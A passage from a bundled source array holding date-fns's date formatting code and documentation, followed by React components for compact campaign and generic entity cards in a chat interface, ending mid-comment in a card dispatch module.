 P: dateTimeLongFormatter,\n};\n","const dayOfYearTokenRE = /^D+$/;\nconst weekYearTokenRE = /^Y+$/;\n\nconst throwTokens = [\"D\", \"DD\", \"YY\", \"YYYY\"];\n\nexport function isProtectedDayOfYearToken(token) {\n  return dayOfYearTokenRE.test(token);\n}\n\nexport function isProtectedWeekYearToken(token) {\n  return weekYearTokenRE.test(token);\n}\n\nexport function warnOrThrowProtectedError(token, format, input) {\n  const _message = message(token, format, input);\n  console.warn(_message);\n  if (throwTokens.includes(token)) throw new RangeError(_message);\n}\n\nfunction message(token, format, input) {\n  const subject = token[0] === \"Y\" ? \"years\" : \"days of the month\";\n  return `Use \\`${token.toLowerCase()}\\` instead of \\`${token}\\` (in \\`${format}\\`) for formatting ${subject} to the input \\`${input}\\`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md`;\n}\n","import { defaultLocale } from \"./_lib/defaultLocale.mjs\";\nimport { getDefaultOptions } from \"./_lib/defaultOptions.mjs\";\nimport { formatters } from \"./_lib/format/formatters.mjs\";\nimport { longFormatters } from \"./_lib/format/longFormatters.mjs\";\nimport {\n  isProtectedDayOfYearToken,\n  isProtectedWeekYearToken,\n  warnOrThrowProtectedError,\n} from \"./_lib/protectedTokens.mjs\";\nimport { isValid } from \"./isValid.mjs\";\nimport { toDate } from \"./toDate.mjs\";\n\n// Rexports of internal for libraries to use.\n// See: https://github.com/date-fns/date-fns/issues/3638#issuecomment-1877082874\nexport { formatters, longFormatters };\n\n// This RegExp consists of three parts separated by `|`:\n// - [yYQqMLwIdDecihHKkms]o matches any available ordinal number token\n//   (one of the certain letters followed by `o`)\n// - (\\w)\\1* matches any sequences of the same letter\n// - '' matches two quote characters in a row\n// - '(''|[^'])+('|$) matches anything surrounded by two quote characters ('),\n//   except a single quote symbol, which ends the sequence.\n//   Two quote characters do not end the sequence.\n//   If there is no matching single quote\n//   then the sequence will continue until the end of the string.\n// - . matches any single character unmatched by previous parts of the RegExps\nconst formattingTokensRegExp =\n  /[yYQqMLwIdDecihHKkms]o|(\\w)\\1*|''|'(''|[^'])+('|$)|./g;\n\n// This RegExp catches symbols escaped by quotes, and also\n// sequences of symbols P, p, and the combinations like `PPPPPPPppppp`\nconst longFormattingTokensRegExp = /P+p+|P+|p+|''|'(''|[^'])+('|$)|./g;\n\nconst escapedStringRegExp = /^'([^]*?)'?$/;\nconst doubleQuoteRegExp = /''/g;\nconst unescapedLatinCharacterRegExp = /[a-zA-Z]/;\n\nexport { format as formatDate };\n\n/**\n * The {@link format} function options.\n */\n\n/**\n * @name format\n * @alias formatDate\n * @category Common Helpers\n * @summary Format the date.\n *\n * @description\n * Return the formatted date string in the given format. The result may vary by locale.\n *\n * > ⚠️ Please note that the `format` tokens differ from Moment.js and other libraries.\n * > See: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md\n *\n * The characters wrapped between two single quotes characters (') are escaped.\n * Two single quotes in a row, whether inside or outside a quoted sequence, represent a 'real' single quote.\n * (see the last example)\n *\n * Format of the string is based on Unicode Technical Standard #35:\n * https://www.unicode.org/reports/tr35/tr35-dates.html#Date_Field_Symbol_Table\n * with a few additions (see note 7 below the table).\n *\n * Accepted patterns:\n * | Unit                            | Pattern | Result examples                   | Notes |\n * |---------------------------------|---------|-----------------------------------|-------|\n * | Era                             | G..GGG  | AD, BC                            |       |\n * |                                 | GGGG    | Anno Domini, Before Christ        | 2     |\n * |                                 | GGGGG   | A, B                              |       |\n * | Calendar year                   | y       | 44, 1, 1900, 2017                 | 5     |\n * |                                 | yo      | 44th, 1st, 0th, 17th              | 5,7   |\n * |                                 | yy      | 44, 01, 00, 17                    | 5     |\n * |                                 | yyy     | 044, 001, 1900, 2017              | 5     |\n * |                                 | yyyy    | 0044, 0001, 1900, 2017            | 5     |\n * |                                 | yyyyy   | ...                               | 3,5   |\n * | Local week-numbering year       | Y       | 44, 1, 1900, 2017                 | 5     |\n * |                                 | Yo      | 44th, 1st, 1900th, 2017th         | 5,7   |\n * |                                 | YY      | 44, 01, 00, 17                    | 5,8   |\n * |                                 | YYY     | 044, 001, 1900, 2017              | 5     |\n * |                                 | YYYY    | 0044, 0001, 1900, 2017            | 5,8   |\n * |                                 | YYYYY   | ...                               | 3,5   |\n * | ISO week-numbering year         | R       | -43, 0, 1, 1900, 2017             | 5,7   |\n * |                                 | RR      | -43, 00, 01, 1900, 2017           | 5,7   |\n * |                                 | RRR     | -043, 000, 001, 1900, 2017        | 5,7   |\n * |                                 | RRRR    | -0043, 0000, 0001, 1900, 2017     | 5,7   |\n * |                                 | RRRRR   | ...                               | 3,5,7 |\n * | Extended year                   | u       | -43, 0, 1, 1900, 2017             | 5     |\n * |                                 | uu      | -43, 01, 1900, 2017               | 5     |\n * |                                 | uuu     | -043, 001, 1900, 2017             | 5     |\n * |                                 | uuuu    | -0043, 0001, 1900, 2017           | 5     |\n * |                                 | uuuuu   | ...                               | 3,5   |\n * | Quarter (formatting)            | Q       | 1, 2, 3, 4                        |       |\n * |                                 | Qo      | 1st, 2nd, 3rd, 4th                | 7     |\n * |                                 | QQ      | 01, 02, 03, 04                    |       |\n * |                                 | QQQ     | Q1, Q2, Q3, Q4                    |       |\n * |                                 | QQQQ    | 1st quarter, 2nd quarter, ...     | 2     |\n * |                                 | QQQQQ   | 1, 2, 3, 4                        | 4     |\n * | Quarter (stand-alone)           | q       | 1, 2, 3, 4                        |       |\n * |                                 | qo      | 1st, 2nd, 3rd, 4th                | 7     |\n * |                                 | qq      | 01, 02, 03, 04                    |       |\n * |                                 | qqq     | Q1, Q2, Q3, Q4                    |       |\n * |                                 | qqqq    | 1st quarter, 2nd quarter, ...     | 2     |\n * |                                 | qqqqq   | 1, 2, 3, 4                        | 4     |\n * | Month (formatting)              | M       | 1, 2, ..., 12                     |       |\n * |                                 | Mo      | 1st, 2nd, ..., 12th               | 7     |\n * |                                 | MM      | 01, 02, ..., 12                   |       |\n * |                                 | MMM     | Jan, Feb, ..., Dec                |       |\n * |                                 | MMMM    | January, February, ..., December  | 2     |\n * |                                 | MMMMM   | J, F, ..., D                      |       |\n * | Month (stand-alone)             | L       | 1, 2, ..., 12                     |       |\n * |                                 | Lo      | 1st, 2nd, ..., 12th               | 7     |\n * |                                 | LL      | 01, 02, ..., 12                   |       |\n * |                                 | LLL     | Jan, Feb, ..., Dec                |       |\n * |                                 | LLLL    | January, February, ..., December  | 2     |\n * |                                 | LLLLL   | J, F, ..., D                      |       |\n * | Local week of year              | w       | 1, 2, ..., 53                     |       |\n * |                                 | wo      | 1st, 2nd, ..., 53th               | 7     |\n * |                                 | ww      | 01, 02, ..., 53                   |       |\n * | ISO week of year                | I       | 1, 2, ..., 53                     | 7     |\n * |                                 | Io      | 1st, 2nd, ..., 53th               | 7     |\n * |                                 | II      | 01, 02, ..., 53                   | 7     |\n * | Day of month                    | d       | 1, 2, ..., 31                     |       |\n * |                                 | do      | 1st, 2nd, ..., 31st               | 7     |\n * |                                 | dd      | 01, 02, ..., 31                   |       |\n * | Day of year                     | D       | 1, 2, ..., 365, 366               | 9     |\n * |                                 | Do      | 1st, 2nd, ..., 365th, 366th       | 7     |\n * |                                 | DD      | 01, 02, ..., 365, 366             | 9     |\n * |                                 | DDD     | 001, 002, ..., 365, 366           |       |\n * |                                 | DDDD    | ...                               | 3     |\n * | Day of week (formatting)        | E..EEE  | Mon, Tue, Wed, ..., Sun           |       |\n * |                                 | EEEE    | Monday, Tuesday, ..., Sunday      | 2     |\n * |                                 | EEEEE   | M, T, W, T, F, S, S               |       |\n * |                                 | EEEEEE  | Mo, Tu, We, Th, Fr, Sa, Su        |       |\n * | ISO day of week (formatting)    | i       | 1, 2, 3, ..., 7                   | 7     |\n * |                                 | io      | 1st, 2nd, ..., 7th                | 7     |\n * |                                 | ii      | 01, 02, ..., 07                   | 7     |\n * |                                 | iii     | Mon, Tue, Wed, ..., Sun           | 7     |\n * |                                 | iiii    | Monday, Tuesday, ..., Sunday      | 2,7   |\n * |                                 | iiiii   | M, T, W, T, F, S, S               | 7     |\n * |                                 | iiiiii  | Mo, Tu, We, Th, Fr, Sa, Su        | 7     |\n * | Local day of week (formatting)  | e       | 2, 3, 4, ..., 1                   |       |\n * |                                 | eo      | 2nd, 3rd, ..., 1st                | 7     |\n * |                                 | ee      | 02, 03, ..., 01                   |       |\n * |                                 | eee     | Mon, Tue, Wed, ..., Sun           |       |\n * |                                 | eeee    | Monday, Tuesday, ..., Sunday      | 2     |\n * |                                 | eeeee   | M, T, W, T, F, S, S               |       |\n * |                                 | eeeeee  | Mo, Tu, We, Th, Fr, Sa, Su        |       |\n * | Local day of week (stand-alone) | c       | 2, 3, 4, ..., 1                   |       |\n * |                                 | co      | 2nd, 3rd, ..., 1st                | 7     |\n * |                                 | cc      | 02, 03, ..., 01                   |       |\n * |                                 | ccc     | Mon, Tue, Wed, ..., Sun           |       |\n * |                                 | cccc    | Monday, Tuesday, ..., Sunday      | 2     |\n * |                                 | ccccc   | M, T, W, T, F, S, S               |       |\n * |                                 | cccccc  | Mo, Tu, We, Th, Fr, Sa, Su        |       |\n * | AM, PM                          | a..aa   | AM, PM                            |       |\n * |                                 | aaa     | am, pm                            |       |\n * |                                 | aaaa    | a.m., p.m.                        | 2     |\n * |                                 | aaaaa   | a, p                              |       |\n * | AM, PM, noon, midnight          | b..bb   | AM, PM, noon, midnight            |       |\n * |                                 | bbb     | am, pm, noon, midnight            |       |\n * |                                 | bbbb    | a.m., p.m., noon, midnight        | 2     |\n * |                                 | bbbbb   | a, p, n, mi                       |       |\n * | Flexible day period             | B..BBB  | at night, in the morning, ...     |       |\n * |                                 | BBBB    | at night, in the morning, ...     | 2     |\n * |                                 | BBBBB   | at night, in the morning, ...     |       |\n * | Hour [1-12]                     | h       | 1, 2, ..., 11, 12                 |       |\n * |                                 | ho      | 1st, 2nd, ..., 11th, 12th         | 7     |\n * |                                 | hh      | 01, 02, ..., 11, 12               |       |\n * | Hour [0-23]                     | H       | 0, 1, 2, ..., 23                  |       |\n * |                                 | Ho      | 0th, 1st, 2nd, ..., 23rd          | 7     |\n * |                                 | HH      | 00, 01, 02, ..., 23               |       |\n * | Hour [0-11]                     | K       | 1, 2, ..., 11, 0                  |       |\n * |                                 | Ko      | 1st, 2nd, ..., 11th, 0th          | 7     |\n * |                                 | KK      | 01, 02, ..., 11, 00               |       |\n * | Hour [1-24]                     | k       | 24, 1, 2, ..., 23                 |       |\n * |                                 | ko      | 24th, 1st, 2nd, ..., 23rd         | 7     |\n * |                                 | kk      | 24, 01, 02, ..., 23               |       |\n * | Minute                          | m       | 0, 1, ..., 59                     |       |\n * |                                 | mo      | 0th, 1st, ..., 59th               | 7     |\n * |                                 | mm      | 00, 01, ..., 59                   |       |\n * | Second                          | s       | 0, 1, ..., 59                     |       |\n * |                                 | so      | 0th, 1st, ..., 59th               | 7     |\n * |                                 | ss      | 00, 01, ..., 59                   |       |\n * | Fraction of second              | S       | 0, 1, ..., 9                      |       |\n * |                                 | SS      | 00, 01, ..., 99                   |       |\n * |                                 | SSS     | 000, 001, ..., 999                |       |\n * |                                 | SSSS    | ...                               | 3     |\n * | Timezone (ISO-8601 w/ Z)        | X       | -08, +0530, Z                     |       |\n * |                                 | XX      | -0800, +0530, Z                   |       |\n * |                                 | XXX     | -08:00, +05:30, Z                 |       |\n * |                                 | XXXX    | -0800, +0530, Z, +123456          | 2     |\n * |                                 | XXXXX   | -08:00, +05:30, Z, +12:34:56      |       |\n * | Timezone (ISO-8601 w/o Z)       | x       | -08, +0530, +00                   |       |\n * |                                 | xx      | -0800, +0530, +0000               |       |\n * |                                 | xxx     | -08:00, +05:30, +00:00            | 2     |\n * |                                 | xxxx    | -0800, +0530, +0000, +123456      |       |\n * |                                 | xxxxx   | -08:00, +05:30, +00:00, +12:34:56 |       |\n * | Timezone (GMT)                  | O...OOO | GMT-8, GMT+5:30, GMT+0            |       |\n * |                                 | OOOO    | GMT-08:00, GMT+05:30, GMT+00:00   | 2     |\n * | Timezone (specific non-locat.)  | z...zzz | GMT-8, GMT+5:30, GMT+0            | 6     |\n * |                                 | zzzz    | GMT-08:00, GMT+05:30, GMT+00:00   | 2,6   |\n * | Seconds timestamp               | t       | 512969520                         | 7     |\n * |                                 | tt      | ...                               | 3,7   |\n * | Milliseconds timestamp          | T       | 512969520900                      | 7     |\n * |                                 | TT      | ...                               | 3,7   |\n * | Long localized date             | P       | 04/29/1453                        | 7     |\n * |                                 | PP      | Apr 29, 1453                      | 7     |\n * |                                 | PPP     | April 29th, 1453                  | 7     |\n * |                                 | PPPP    | Friday, April 29th, 1453          | 2,7   |\n * | Long localized time             | p       | 12:00 AM                          | 7     |\n * |                                 | pp      | 12:00:00 AM                       | 7     |\n * |                                 | ppp     | 12:00:00 AM GMT+2                 | 7     |\n * |                                 | pppp    | 12:00:00 AM GMT+02:00             | 2,7   |\n * | Combination of date and time    | Pp      | 04/29/1453, 12:00 AM              | 7     |\n * |                                 | PPpp    | Apr 29, 1453, 12:00:00 AM         | 7     |\n * |                                 | PPPppp  | April 29th, 1453 at ...           | 7     |\n * |                                 | PPPPpppp| Friday, April 29th, 1453 at ...   | 2,7   |\n * Notes:\n * 1. \"Formatting\" units (e.g. formatting quarter) in the default en-US locale\n *    are the same as \"stand-alone\" units, but are different in some languages.\n *    \"Formatting\" units are declined according to the rules of the language\n *    in the context of a date. \"Stand-alone\" units are always nominative singular:\n *\n *    `format(new Date(2017, 10, 6), 'do LLLL', {locale: cs}) //=> '6. listopad'`\n *\n *    `format(new Date(2017, 10, 6), 'do MMMM', {locale: cs}) //=> '6. listopadu'`\n *\n * 2. Any sequence of the identical letters is a pattern, unless it is escaped by\n *    the single quote characters (see below).\n *    If the sequence is longer than listed in table (e.g. `EEEEEEEEEEE`)\n *    the output will be the same as default pattern for this unit, usually\n *    the longest one (in case of ISO weekdays, `EEEE`). Default patterns for units\n *    are marked with \"2\" in the last column of the table.\n *\n *    `format(new Date(2017, 10, 6), 'MMM') //=> 'Nov'`\n *\n *    `format(new Date(2017, 10, 6), 'MMMM') //=> 'November'`\n *\n *    `format(new Date(2017, 10, 6), 'MMMMM') //=> 'N'`\n *\n *    `format(new Date(2017, 10, 6), 'MMMMMM') //=> 'November'`\n *\n *    `format(new Date(2017, 10, 6), 'MMMMMMM') //=> 'November'`\n *\n * 3. Some patterns could be unlimited length (such as `yyyyyyyy`).\n *    The output will be padded with zeros to match the length of the pattern.\n *\n *    `format(new Date(2017, 10, 6), 'yyyyyyyy') //=> '00002017'`\n *\n * 4. `QQQQQ` and `qqqqq` could be not strictly numerical in some locales.\n *    These tokens represent the shortest form of the quarter.\n *\n * 5. The main difference between `y` and `u` patterns are B.C. years:\n *\n *    | Year | `y` | `u` |\n *    |------|-----|-----|\n *    | AC 1 |   1 |   1 |\n *    | BC 1 |   1 |   0 |\n *    | BC 2 |   2 |  -1 |\n *\n *    Also `yy` always returns the last two digits of a year,\n *    while `uu` pads single digit years to 2 characters and returns other years unchanged:\n *\n *    | Year | `yy` | `uu` |\n *    |------|------|------|\n *    | 1    |   01 |   01 |\n *    | 14   |   14 |   14 |\n *    | 376  |   76 |  376 |\n *    | 1453 |   53 | 1453 |\n *\n *    The same difference is true for local and ISO week-numbering years (`Y` and `R`),\n *    except local week-numbering years are dependent on `options.weekStartsOn`\n *    and `options.firstWeekContainsDate` (compare [getISOWeekYear](https://date-fns.org/docs/getISOWeekYear)\n *    and [getWeekYear](https://date-fns.org/docs/getWeekYear)).\n *\n * 6. Specific non-location timezones are currently unavailable in `date-fns`,\n *    so right now these tokens fall back to GMT timezones.\n *\n * 7. These patterns are not in the Unicode Technical Standard #35:\n *    - `i`: ISO day of week\n *    - `I`: ISO week of year\n *    - `R`: ISO week-numbering year\n *    - `t`: seconds timestamp\n *    - `T`: milliseconds timestamp\n *    - `o`: ordinal number modifier\n *    - `P`: long localized date\n *    - `p`: long localized time\n *\n * 8. `YY` and `YYYY` tokens represent week-numbering years but they are often confused with years.\n *    You should enable `options.useAdditionalWeekYearTokens` to use them. See: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md\n *\n * 9. `D` and `DD` tokens represent days of the year but they are often confused with days of the month.\n *    You should enable `options.useAdditionalDayOfYearTokens` to use them. See: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The original date\n * @param format - The string of tokens\n * @param options - An object with options\n *\n * @returns The formatted date string\n *\n * @throws `date` must not be Invalid Date\n * @throws `options.locale` must contain `localize` property\n * @throws `options.locale` must contain `formatLong` property\n * @throws use `yyyy` instead of `YYYY` for formatting years using [format provided] to the input [input provided]; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md\n * @throws use `yy` instead of `YY` for formatting years using [format provided] to the input [input provided]; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md\n * @throws use `d` instead of `D` for formatting days of the month using [format provided] to the input [input provided]; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md\n * @throws use `dd` instead of `DD` for formatting days of the month using [format provided] to the input [input provided]; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md\n * @throws format string contains an unescaped latin alphabet character\n *\n * @example\n * // Represent 11 February 2014 in middle-endian format:\n * const result = format(new Date(2014, 1, 11), 'MM/dd/yyyy')\n * //=> '02/11/2014'\n *\n * @example\n * // Represent 2 July 2014 in Esperanto:\n * import { eoLocale } from 'date-fns/locale/eo'\n * const result = format(new Date(2014, 6, 2), \"do 'de' MMMM yyyy\", {\n *   locale: eoLocale\n * })\n * //=> '2-a de julio 2014'\n *\n * @example\n * // Escape string by single quote characters:\n * const result = format(new Date(2014, 6, 2, 15), \"h 'o''clock'\")\n * //=> \"3 o'clock\"\n */\nexport function format(date, formatStr, options) {\n  const defaultOptions = getDefaultOptions();\n  const locale = options?.locale ?? defaultOptions.locale ?? defaultLocale;\n\n  const firstWeekContainsDate =\n    options?.firstWeekContainsDate ??\n    options?.locale?.options?.firstWeekContainsDate ??\n    defaultOptions.firstWeekContainsDate ??\n    defaultOptions.locale?.options?.firstWeekContainsDate ??\n    1;\n\n  const weekStartsOn =\n    options?.weekStartsOn ??\n    options?.locale?.options?.weekStartsOn ??\n    defaultOptions.weekStartsOn ??\n    defaultOptions.locale?.options?.weekStartsOn ??\n    0;\n\n  const originalDate = toDate(date);\n\n  if (!isValid(originalDate)) {\n    throw new RangeError(\"Invalid time value\");\n  }\n\n  let parts = formatStr\n    .match(longFormattingTokensRegExp)\n    .map((substring) => {\n      const firstCharacter = substring[0];\n      if (firstCharacter === \"p\" || firstCharacter === \"P\") {\n        const longFormatter = longFormatters[firstCharacter];\n        return longFormatter(substring, locale.formatLong);\n      }\n      return substring;\n    })\n    .join(\"\")\n    .match(formattingTokensRegExp)\n    .map((substring) => {\n      // Replace two single quote characters with one single quote character\n      if (substring === \"''\") {\n        return { isToken: false, value: \"'\" };\n      }\n\n      const firstCharacter = substring[0];\n      if (firstCharacter === \"'\") {\n        return { isToken: false, value: cleanEscapedString(substring) };\n      }\n\n      if (formatters[firstCharacter]) {\n        return { isToken: true, value: substring };\n      }\n\n      if (firstCharacter.match(unescapedLatinCharacterRegExp)) {\n        throw new RangeError(\n          \"Format string contains an unescaped latin alphabet character `\" +\n            firstCharacter +\n            \"`\",\n        );\n      }\n\n      return { isToken: false, value: substring };\n    });\n\n  // invoke localize preprocessor (only for french locales at the moment)\n  if (locale.localize.preprocessor) {\n    parts = locale.localize.preprocessor(originalDate, parts);\n  }\n\n  const formatterOptions = {\n    firstWeekContainsDate,\n    weekStartsOn,\n    locale,\n  };\n\n  return parts\n    .map((part) => {\n      if (!part.isToken) return part.value;\n\n      const token = part.value;\n\n      if (\n        (!options?.useAdditionalWeekYearTokens &&\n          isProtectedWeekYearToken(token)) ||\n        (!options?.useAdditionalDayOfYearTokens &&\n          isProtectedDayOfYearToken(token))\n      ) {\n        warnOrThrowProtectedError(token, formatStr, String(date));\n      }\n\n      const formatter = formatters[token[0]];\n      return formatter(originalDate, token, locale.localize, formatterOptions);\n    })\n    .join(\"\");\n}\n\nfunction cleanEscapedString(input) {\n  const matched = input.match(escapedStringRegExp);\n\n  if (!matched) {\n    return input;\n  }\n\n  return matched[1].replace(doubleQuoteRegExp, \"'\");\n}\n\n// Fallback for modularized imports:\nexport default format;\n","'use client'\n\n/**\n * Campaign Card Admin (chat compact variant).\n *\n * PURE PRESENTATION. Receives a pre-composed `<a>` prop bundle and\n * renders a 3-row compact card. The hub still owns the full-size admin\n * card (with delete + manage buttons) — only the compact chat variant\n * lives here in lib.\n */\n\nimport React from 'react'\nimport { Megaphone } from 'lucide-react'\nimport { formatDateShort } from '../../../utils/date-formatters'\nimport {\n  COMPACT_CARD_ICON_SLOT,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUBTITLE,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n} from '../utils/compact-card-classes'\n\n/** Minimal campaign shape needed by the chat-inline compact card. */\nexport interface CampaignCardItem {\n  id: string\n  name: string\n  description?: string | null\n  start_date?: string | null\n  goals?: Array<unknown> | null\n}\n\nexport interface CampaignCardAdminAnchorProps {\n  href: string\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void\n}\n\nexport interface CampaignCardAdminProps {\n  campaign: CampaignCardItem\n  className?: string\n  anchorProps?: CampaignCardAdminAnchorProps\n}\n\n\nexport function CampaignCardAdmin({ campaign, className, anchorProps }: CampaignCardAdminProps) {\n  const goalsCount = campaign.goals?.length || 0\n\n  const innerChildren = (\n    <>\n      <span className={COMPACT_CARD_ICON_SLOT}>\n        <Megaphone className=\"h-5 w-5\" />\n      </span>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className={COMPACT_CARD_TITLE}>{campaign.name}</span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUBTITLE}>\n            {[\n              campaign.start_date ? formatDateShort(campaign.start_date) : null,\n              goalsCount > 0 ? `${goalsCount} goal${goalsCount !== 1 ? 's' : ''}` : null,\n              'Marketing campaign',\n            ].filter(Boolean).join(' · ')}\n          </span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUMMARY}>\n            {campaign.description || COMPACT_CARD_ROW_FILLER}\n          </span>\n        </span>\n      </span>\n    </>\n  )\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {innerChildren}\n      </a>\n    )\n  }\n  return (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">\n      {innerChildren}\n    </span>\n  )\n}\n\nexport function CampaignCardAdminSkeleton({ className }: { className?: string }) {\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className=\"h-3.5 w-3/5 rounded bg-ods-bg\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-1/2 rounded bg-ods-bg/70\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-11/12 rounded bg-ods-bg/40\" />\n        </span>\n      </span>\n    </span>\n  )\n}\n","'use client'\n\n/**\n * Generic compact entity/document card for any chat type that doesn't\n * warrant a bespoke component.\n *\n * PURE PRESENTATION. Receives pre-composed `<a>` props via `anchorProps`\n * and renders the rest from the item shape.\n */\n\nimport React from 'react'\nimport { ExternalLink } from 'lucide-react'\nimport { StatusBadge } from '../../ui/status-badge'\nimport {\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  safeHref,\n} from '../utils/compact-card-classes'\nimport { formatDateUTC as formatDate } from '../../../utils/format'\n\ntype BadgeScheme = 'success' | 'error' | 'warning' | 'cyan' | 'default'\n\nexport interface GenericEntityCardItem {\n  id: string\n  title: string\n  preview?: string | null\n  url?: string | null\n  subtitle?: string | null\n  badge?: { text: string; scheme?: BadgeScheme } | null\n  facts?: Array<{ label: string; value: string }> | null\n  dateUpdated?: string | number | null\n}\n\nexport interface GenericEntityCardAnchorProps {\n  href: string\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void\n}\n\nexport interface GenericEntityCardProps {\n  item: GenericEntityCardItem\n  className?: string\n  anchorProps?: GenericEntityCardAnchorProps\n}\n\nexport function GenericEntityCard({ item, className, anchorProps }: GenericEntityCardProps) {\n  const href = safeHref(item.url)\n  const dateText = formatDate(item.dateUpdated, { fallback: '', timezone: 'local' })\n  const body = (\n    <>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex flex-wrap items-center gap-1.5 min-w-0\">\n          <span className={`${COMPACT_CARD_TITLE} shrink min-w-0`}>{item.title}</span>\n          {item.badge ? (\n            <StatusBadge\n              text={item.badge.text}\n              variant=\"button\"\n              colorScheme={item.badge.scheme || 'default'}\n              className=\"shrink-0\"\n            />\n          ) : null}\n        </span>\n        {item.subtitle ? (\n          <span className=\"flex min-w-0 items-center gap-1 text-h6 text-ods-text-secondary\">\n            <span className=\"min-w-0 truncate font-mono\">{item.subtitle}</span>\n          </span>\n        ) : null}\n        {item.preview ? (\n          <span className=\"flex min-w-0\">\n            <span className=\"line-clamp-2 whitespace-pre-wrap break-words text-h6 text-ods-text-secondary\">\n              {item.preview}\n            </span>\n          </span>\n        ) : null}\n        {item.facts && item.facts.length > 0 ? (\n          <span className=\"flex flex-wrap items-center gap-x-3 gap-y-0.5 min-w-0 text-h6\">\n            {item.facts.map((f, i) => (\n              <span key={i} className=\"inline-flex items-center gap-1 min-w-0 truncate\">\n                <span className=\"text-ods-text-secondary/70 shrink-0\">{f.label}:</span>\n                <span className=\"text-ods-text-primary font-medium truncate\">{f.value}</span>\n              </span>\n            ))}\n          </span>\n        ) : null}\n        {dateText ? (\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_META_ROW}>\n              <span className=\"whitespace-nowrap\">{dateText}</span>\n            </span>\n          </span>\n        ) : null}\n      </span>\n      {href ? (\n        <span className=\"flex shrink-0 items-center self-start h-5 text-ods-text-secondary\">\n          <ExternalLink className=\"w-3.5 h-3.5\" />\n        </span>\n      ) : null}\n    </>\n  )\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {body}\n      </a>\n    )\n  }\n  return href ? (\n    <a href={href} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n      {body}\n    </a>\n  ) : (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">\n      {body}\n    </span>\n  )\n}\n\nexport function GenericEntityCardSkeleton({ className }: { className?: string }) {\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex items-center gap-1.5 min-w-0\">\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n          <span className=\"h-4 w-16 rounded-full bg-ods-bg/60\" />\n        </span>\n        <span className=\"h-4 w-1/2 rounded bg-ods-bg/60\" />\n        <span className=\"flex flex-col gap-0 min-w-0\">\n          <span className=\"h-5 w-5/6 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-3/4 rounded bg-ods-bg/60\" />\n        </span>\n        <span className=\"h-3 w-1/4 rounded bg-ods-bg/70\" />\n      </span>\n      <span className=\"flex shrink-0 items-center self-start h-5\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  )\n}\n","'use client'\n\n/**\n * Lib-side entity-card dispatch — single switch over canonical chat cards.\n *\n * Lib-portable refactor of the hub's `components/shared/entity-card-dispatch.tsx`.\n * Drops the hub-only imports:\n *   - `useNavLink`              → click routing flows through `<NavLinkAnchorViaRuntime>`\n *                                 (reads `useRequiredChatRuntime` internally) or\n *                                 the chat-runtime's `handleChatNavClick` helper.\n *   - `currentPlatform`         → runtime.source supplies the identifier.\n *   - `buildContentURL`         → URLs arrive pre-composed by the server's\n *                                 RAG mapper (`ref.url`); the card just renders.\n *   - `tableIdForDocumentType`  → only relevant for the hub-side ContentRef\n *                                 reverse-projection — not needed for chat\n *                                 inline cards.\n *   - hub `program-configs`     → host provides via `ChatCardRenderOptions.extras`.\n *   - `buildProductReleaseCardProps` → ditto, host provides via `extras`.\n *\n * Adding a new chat-inline card type:\n *   1. Implement the `size='sm'` branch + skeleton in `./<card>.tsx` (pure\n *      presentation, accepts `href` + `targetPlatform`).\n *   2. Add one entry to `CHAT_CARD_REGISTRY` 